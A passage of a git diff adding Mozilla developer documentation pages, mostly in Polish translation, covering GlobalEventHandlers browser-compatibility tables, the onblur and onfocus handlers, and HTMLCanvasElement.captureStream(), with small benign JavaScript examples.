<dt>{{domxref("GlobalEventHandlers.ontouchmove")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("touchmove")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.ontouchstart")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("touchstart")}} event is raised.</dd> + <dt>{{domxref("GlobalEventHandlers.ontransitioncancel")}}</dt> + <dd>An {{domxref("EventHandler")}} called when a {{event("transitioncancel")}} event is sent, indicating that a <a href="/en-US/docs/Web/CSS/CSS_Transitions">CSS transition</a> has been cancelled.</dd> + <dt>{{domxref("GlobalEventHandlers.ontransitionend")}}</dt> + <dd>An {{domxref("EventHandler")}} called when a {{event("transitionend")}} event is sent, indicating that a <a href="/en-US/docs/Web/CSS/CSS_Transitions">CSS transition</a> has finished playing.</dd> + <dt>{{domxref("GlobalEventHandlers.onwaiting")}}</dt> + <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("waiting")}} event is raised.</dd> +</dl> +</div> + +<h2 id="Methods">Methods</h2> + +<p><em>This interface defines no methods.</em></p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("Selection API",'', 'Extension to GlobalEventHandlers')}}</td> + <td>{{Spec2('Selection API')}}</td> + <td>Adds <code>onselectionchange.</code></td> + </tr> + <tr> + <td>{{SpecName('Pointer Lock', '#extensions-to-the-document-interface', 'Extension of Document')}}</td> + <td>{{Spec2('Pointer Lock')}}</td> + <td>Adds <code>onpointerlockchange</code> and <code>onpointerlockerror</code> on {{domxref("Document")}}. It is experimentally implemented on <code>GlobalEventHandlers</code>.</td> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG', '#globaleventhandlers', 'GlobalEventHandlers')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>No change since the latest snapshot, {{SpecName("HTML5.1")}}.</td> + </tr> + <tr> + <td>{{SpecName('HTML5.1', '#globaleventhandlers', 'GlobalEventHandlers')}}</td> + <td>{{Spec2('HTML5.1')}}</td> + <td>Snapshot of {{SpecName("HTML WHATWG")}}. Added <code>onsort</code> since the {{SpecName("HTML5 W3C")}} snapshot.</td> + </tr> + <tr> + <td>{{SpecName("HTML5 W3C", "#globaleventhandlers", "GlobalEventHandlers")}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td>Snapshot of {{SpecName("HTML WHATWG")}}. Creation of <code>GlobalEventHandlers</code> (properties where on the target before it).</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Firefox (Gecko)</th> + <th>Chrome</th> + <th>Edge</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>oncanplay</code>, <code>oncanplaythrough</code>, <code>ondurationchange</code>, <code>onemptied</code>, <code>onended</code>, <code>onloadeddata</code>, <code>onloadedmetadata</code>, <code>onloadstart</code>, <code>onpause</code>, <code>onplay</code>, <code>onplaying</code>, <code>onprogress</code>, <code>onratechange</code>, <code>onseeked</code>, <code>onseeking</code>, <code>onstalled</code>, <code>ontimeupdate</code>, <code>onvolumechange</code>, <code>onwaiting</code></td> + <td>{{CompatGeckoDesktop(1.9.1)}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>onsuspend</code></td> + <td>{{CompatGeckoDesktop(1.9.2)}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>ondrag</code>, <code>ondragend</code>, <code>ondragenter</code>, <code>ondragleave</code>, <code>ondragover</code>, <code>ondragstart</code>, <code>ondrop</code></td> + <td>{{CompatGeckoDesktop(1.9.1)}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>onmouseenter</code>, <code>onmouseleave</code></td> + <td>{{CompatGeckoDesktop(10)}}</td> + <td>{{CompatChrome(30.0)}}</td> + <td>{{CompatUnknown}}</td> + <td>5.5</td> + <td>17</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>ondragexit</code></td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>oncancel</code></td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>onclose</code></td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>oncuechange</code></td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>onmousewheel</code></td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>onsort</code> {{experimental_inline}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>onmozfullscreenchange</code>, <code>onmozfullscreenerror</code> {{non-standard_inline}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}} {{property_prefix("-webkit")}}<br> + {{CompatVersionUnknown}} (unprefixed)</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td><code>onpointerlockchange</code>, <code>onpointerlockerror</code></td> + <td>{{CompatGeckoDesktop(10)}}<sup>[1]</sup></td> + <td>{{CompatVersionUnknown}}<sup>[2] </sup>{{property_prefix("-webkit")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>onpointercancel</code>, <code>onpointerdown</code>, <code>onpointerup</code>, <code>onpointermove</code>, <code>onpointerout</code>, <code>onpointerover</code>, <code>onpointerenter</code>, <code>onpointerleave</code></td> + <td>{{CompatVersionUnknown}}<sup>[3]</sup></td> + <td>{{CompatChrome(55.0)}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>10</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>onselectionchange</code></td> + <td>{{CompatGeckoDesktop(43)}}<sup>[4]</sup></td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>ontouchend</code>, <code>ontouchcancel</code>, <code>ontouchmove</code>, <code>ontouchstart</code></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>animationstart</code>, <code>animationend</code>, <code>animationcancel</code>, <code>animationiteration</code></td> + <td>{{CompatGeckoDesktop(51)}}</td> + <td>{{CompatVersionUnknown}} {{property_prefix("-webkit")}}<br> + {{CompatVersionUnknown}} (unprefixed)</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>ongotpointercapture</code>, <code>onlostpointercapture</code></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatChrome(57.0)}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatOpera(44)}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>onauxclick</code></td> + <td>{{CompatGeckoDesktop(53)}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td><code>onwheel</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android Webview</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>Android</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + <th>Chrome for Android</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>ondrag</code>, <code>ondragend</code>, <code>ondragenter</code>, <code>ondragleave</code>, <code>ondragover</code>, <code>ondragstart</code>, <code>ondrop</code></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile(1.9.1)}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>oncanplay</code>, <code>oncanplaythrough</code>, <code>ondurationchange</code>, <code>onemptied</code>, <code>onended</code>, <code>onloadeddata</code>, <code>onloadedmetadata</code>, <code>onloadstart</code>, <code>onpause</code>, <code>onplay</code>, <code>onplaying</code>, <code>onprogress</code>, <code>onratechange</code>, <code>onseeked</code>, <code>onseeking</code>, <code>onstalled</code>, <code>ontimeupdate</code>, <code>onvolumechange</code>, <code>onwaiting</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile(1.9.1)}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>onmouseenter</code>, <code>onmouseleave</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile(10)}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>onsuspend</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile(1.9.2)}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>ondragexit</code></td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td><code>oncancel</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>onclose</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>oncuechange</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>onmousewheel</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>onsort</code></td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td><code>onmozfullscreenchange</code>, <code>onmozfullscreenerror</code> {{non-standard_inline}}</td> + <td>{{CompatVersionUnknown}} {{property_prefix("-webkit")}}<br> + {{CompatVersionUnknown}} (unprefixed)</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}} {{property_prefix("-webkit")}}<br> + {{CompatVersionUnknown}} (unprefixed)</td> + </tr> + <tr> + <td><code>onpointerlockchange</code>, <code>onpointerlockerror</code></td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile(10)}}<sup>[1]</sup></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td><code>onpointercancel</code>, <code>onpointerdown</code>, <code>onpointerup</code>, <code>onpointermove</code>, <code>onpointerout</code>, <code>onpointerover</code>, <code>onpointerenter</code>, <code>onpointerleave</code></td> + <td>{{CompatChrome(55.0)}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}<sup>[3]</sup></td> + <td>{{CompatNo}}</td> + <td>10</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatChrome(55.0)}}</td> + </tr> + <tr> + <td><code>onselectionchange</code></td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile(43)}}<sup>[4]</sup></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td><code>ontouchend</code>, <code>ontouchcancel</code>, <code>ontouchmove</code>, <code>ontouchstart</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>animationstart</code>, <code>animationend</code>, <code>animationcancel</code>, <code>animationiteration</code></td> + <td>{{CompatVersionUnknown}} {{property_prefix("-webkit")}}<br> + {{CompatVersionUnknown}} (unprefixed)</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile(51)}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}} {{property_prefix("-webkit")}}<br> + {{CompatVersionUnknown}} (unprefixed)</td> + </tr> + <tr> + <td><code>ongotpointercapture</code>, <code>onlostpointercapture</code></td> + <td>{{CompatChrome(57.0)}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatOperaMobile(44)}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatChrome(57.0)}}</td> + </tr> + <tr> + <td><code>onauxclick</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatGeckoMobile(53)}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>onwheel</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] In Gecko this is implemented as <code>onmozpointerlockchange</code>, <code>onmozpointerlockerror</code>.</p> + +<p>[2] In Blink this is implemented as <code>onwebkitpointerlockchange</code>, <code>onwebkitpointerlockerror</code>.</p> + +<p>[3] This is implemented behind the <code>dom.w3c_pointer_events.enabled</code> preference, defaulting to <code>false</code>.</p> + +<p>[4] This is implemented behind the <code>dom.select_events.enabled</code> preference, that default to <code>false</code>, except on Nightly.</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{domxref("Element")}}</li> + <li>{{domxref("EventHandler")}}</li> + <li>{{domxref("Event")}}</li> +</ul> diff --git a/files/pl/web/api/globaleventhandlers/onblur/index.html b/files/pl/web/api/globaleventhandlers/onblur/index.html new file mode 100644 index 0000000000..1a1779b37f --- /dev/null +++ b/files/pl/web/api/globaleventhandlers/onblur/index.html @@ -0,0 +1,85 @@ +--- +title: GlobalEventHandlers.onblur +slug: Web/API/GlobalEventHandlers/onblur +translation_of: Web/API/GlobalEventHandlers/onblur +--- +<div>{{ApiRef("HTML DOM")}}</div> + +<p>Właściwość <code><strong>onblur</strong></code> należy do Globalnych Uchwytów Zdarzeń ({{domxref("GlobalEventHandlers")}}) i jest Uchwytem Zdarzenia ({{domxref("EventHandler")}}), który służy do obsługi zdarzenia {{event("blur")}}. Jest on dostępny dla następujących elementów: {{domxref("Element")}}, {{domxref("Document")}}, oraz {{domxref("Window")}}.</p> + +<p>Zdarzenie <code>blur</code> zachodzi, gdy dany element traci "focus" (np. podczas opuszczenia inputa tekstowego).</p> + +<div class="blockIndicator note"> +<p><strong>Notatka:</strong> Przeciwieństwem <code>onblur</code> jest {{domxref("GlobalEventHandlers.onfocus", "onfocus")}}.</p> +</div> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox"><em>cel</em>.onblur = <em>jakasFunkcja</em>(); +</pre> + +<h3 id="Wartość">Wartość</h3> + +<p><code>jakasFunkcja</code> jest nazwą funkcji albo <a href="/en-US/docs/Web/JavaScript/Reference/Operators/function">wyrażeniem funkcji</a>. Jeżeli nie podano argumentu, celowi zostanie przypisana odpowiednia wartość obiektu {{domxref("FocusEvent")}}.</p> + +<h2 id="Przykład">Przykład</h2> + +<p>Przykład użycia <code>onblur</code> oraz {{domxref("GlobalEventHandlers.onfocus", "onfocus")}} do zmiany tekstu w elemencie {{HtmlElement("input")}}.</p> + +<h3 id="HTML">HTML</h3> + +<pre class="brush: html"><input type="text" value="CLICK HERE"> +</pre> + +<h3 id="JavaScript">JavaScript</h3> + +<pre class="brush: js">let input = document.querySelector('input'); + +input.onblur = inputBlur; +input.onfocus = inputFocus; + +function inputBlur() { + input.value = 'Focus has been lost'; +} + +function inputFocus() { + input.value = 'Focus is here'; +}</pre> + +<h3 id="Rezultat">Rezultat</h3> + +<p>Kliknij na pole, a następnie obok niego i obserwuj jak zmienia się jego zawartość.</p> + +<p id="Result">{{EmbedLiveSample('Przykład')}}</p> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="spectable standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onblur','onblur')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2> + +<div class="hidden">Tablica kompatybilności jest na tej stronie generowana z danych strukturalnych. Jeżeli chcesz przyczynić się do rozwoju danych wejdź na <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> i wyślij nam zapytanie.</div> + +<p>{{Compat("api.GlobalEventHandlers.onblur")}}</p> + +<p>W przeciwieństwie do IE, w którym prawie każdy element może otrzymać efekt zdarzenia <code>blur</code>, tylko kilka elementów z tym zdarzeniem, działa na przeglądarkach opartych o silnik Gecko.</p> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li>Zdarzenie {{event("blur")}}</li> + <li>Odwrotny uchwyt zdarzenia: {{domxref("GlobalEventHandlers.onfocus")}}</li> +</ul> diff --git a/files/pl/web/api/globaleventhandlers/onfocus/index.html b/files/pl/web/api/globaleventhandlers/onfocus/index.html new file mode 100644 index 0000000000..bd4a30d6b5 --- /dev/null +++ b/files/pl/web/api/globaleventhandlers/onfocus/index.html @@ -0,0 +1,87 @@ +--- +title: GlobalEventHandlers.onfocus +slug: Web/API/GlobalEventHandlers/onfocus +translation_of: Web/API/GlobalEventHandlers/onfocus +--- +<div>{{ApiRef("HTML DOM")}}</div> + +<p>Właściwość <code><strong>onfocus</strong></code> należy do Globalnych Uchwytów Zdarzeń ({{domxref("GlobalEventHandlers")}}) i jest Uchwytem Zdarzenia ({{domxref("EventHandler")}}), który służy do obsługi zdarzenia {{event("focus")}}.</p> + +<p>Zdarzenie <code>focus</code> zachodzi, gdy użytkownik aktywuje element (np. wejdzie w pole tekstowe {{HtmlElement("input")}}).</p> + +<p>Dla elementów <code>onfocus</code>, które nie są inputem, należy dodać atrybut {{htmlattrxref("tabindex")}} (przeczytaj <a href="/en-US/docs/Learn/Accessibility/HTML#Building_keyboard_accessibility_back_in">Tworzenie dostępności klawiatury z powrotem</a> po więcej informacji).</p> + +<div class="blockIndicator note"> +<p><strong>Notatka:</strong> Przeciwieństwem <code>onfocus</code> jest {{domxref("GlobalEventHandlers.onblur", "onblur")}}.</p> +</div> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox"><em>cel</em>.onfocus = <em>jakasFunkcja</em>; +</pre> + +<h3 id="Wartość">Wartość</h3> + +<p><code>jakasFunkcja</code> jest nazwą funkcji lub <a href="/en-US/docs/Web/JavaScript/Reference/Operators/function">wyrażeniem funkcji</a>. Jeżeli nie podano argumentu, celowi zostanie przypisana odpowiednia wartość obiektu {{domxref("FocusEvent")}}.</p> + +<h2 id="Przykład">Przykład</h2> + +<p>Przykład użycia {{domxref("GlobalEventHandlers.onblur", "onblur")}} oraz <code>onfocus</code> do zmiany tekstu w elemencie {{HtmlElement("input")}}.</p> + +<h3 id="HTML">HTML</h3> + +<pre class="brush: html"><input type="text" value="CLICK HERE"> +</pre> + +<h3 id="JavaScript">JavaScript</h3> + +<pre class="brush: js">let input = document.querySelector('input'); + +input.onblur = inputBlur; +input.onfocus = inputFocus; + +function inputBlur() { + input.value = 'Focus has been lost'; +} + +function inputFocus() { + input.value = 'Focus is here'; +}</pre> + +<h3 id="Result_2">Result</h3> + +<p>Kliknij na pole, a następnie obok niego i obserwuj jak zmienia się jego zawartość.</p> + +<p id="Result">{{EmbedLiveSample('Example')}}</p> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="spectable standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG','webappapis.html#handler-onfocus','onfocus')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2> + +<div class="hidden">Tablica kompatybilności jest na tej stronie generowana z danych strukturalnych. Jeżeli chcesz przyczynić się do rozwoju danych wejdź na <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> i wyślij nam zapytanie.</div> + +<p>{{Compat("api.GlobalEventHandlers.onfocus")}}</p> + +<p>W przeciwieństwie do IE, w którym prawie każdy element może otrzymać efekt zdarzenia <code>focus</code> , prawie wszystkie elementy z tym zdarzeniem nie działają na przeglądarkach opartych o silnik Gecko.</p> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li>Zdarzenie {{event("focus")}}</li> + <li>Odwrotny uchwyt zdarzenia: {{domxref("GlobalEventHandlers.onblur")}}</li> +</ul> diff --git a/files/pl/web/api/htmlcanvaselement/capturestream/index.html b/files/pl/web/api/htmlcanvaselement/capturestream/index.html new file mode 100644 index 0000000000..19b796017e --- /dev/null +++ b/files/pl/web/api/htmlcanvaselement/capturestream/index.html @@ -0,0 +1,73 @@ +--- +title: HTMLCanvasElement.captureStream() +slug: Web/API/HTMLCanvasElement/captureStream +translation_of: Web/API/HTMLCanvasElement/captureStream +--- +<div>{{APIRef("Media Capture and Streams")}}{{SeeCompatTable}}</div> + +<div> </div> + +<div>Metoda <code><strong>HTMLCanvasElement</strong></code><strong><code>.captureStream()</code></strong> zwraca {{domxref("CanvasCaptureMediaStream")}} który jest wideo w czasie rzeczywistym z powierzchni elementu <a href="https://developer.mozilla.org/pl/docs/Web/HTML/Element/canvas" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code><canvas></code></a>.</div> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox"><var>MediaStream</var> = <var>canvas</var>.captureStream(<var>frameRate</var>); +</pre> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt><code>frameRate</code> {{optional_inline}}</dt> + <dd>Liczba zmiennoprzecinkowa podójnej precyzji wskazuje na częstotliwość przechwytywania każdej klatki. W przypadku braku parametru nowa klatka będzie przechwytywana przy każdej zmianie {{HTMLElement("canvas")}}; jeśli ustawiona na <code>0</code>, przechwycona zostanie pojedyńcza klatka.</dd> +</dl> + +<h3 id="Wartość_zwrtona">Wartość zwrtona</h3> + +<p>Odniesienie do obiektu {{domxref("MediaStream")}}. </p> + +<h2 id="Przykład">Przykład</h2> + +<pre class="brush: js">// Zlokalizuj element canvas do przechwycenia +var canvasElt = document.querySelector('canvas'); + +// Rozpocznij stream +var stream = canvasElt.captureStream(25); // 25 FPS + +// Wykonuj na nim czynności +// Np. Prześlij stream na inny komputer używając RTCPeerConnection +innyKomputer.addStream(stream); +</pre> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('Media Capture DOM Elements', '#widl-HTMLCanvasElement-captureStream-CanvasCaptureMediaStream-double-frameRate', 'HTMLCanvasElement.captureStream()')}}</td> + <td>{{Spec2('Media Capture DOM Elements')}}</td> + <td>Definicja początkowa</td> + </tr> + </tbody> +</table> + +<h2 id="Zgodność_przeglądarek">Zgodność przeglądarek</h2> + + + +<p>{{Compat("api.HTMLCanvasElement.captureStream")}}</p> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li>{{domxref("CanvasCaptureMediaStream")}}, interfejs do którego należy.</li> + <li>{{domxref("HTMLMediaElement.captureStream()")}}, pozwala na przechwytywanie stream-u z elementu HTML.</li> + <li>{{domxref("MediaStream")}}</li> + <li>{{domxref("Media Capture and Streams API")}}</li> +</ul> diff --git a/files/pl/web/api/htmlcanvaselement/getcontext/index.html b/files/pl/web/api/htmlcanvaselement/getcontext/index.html new file mode 100644 index 0000000000..e60fddc51e --- /dev/null +++ b/files/pl/web/api/htmlcanvaselement/getcontext/index.html @@ -0,0 +1,129 @@ +--- +title: HTMLCanvasElement.getContext() +slug: Web/API/HTMLCanvasElement/getContext +translation_of: 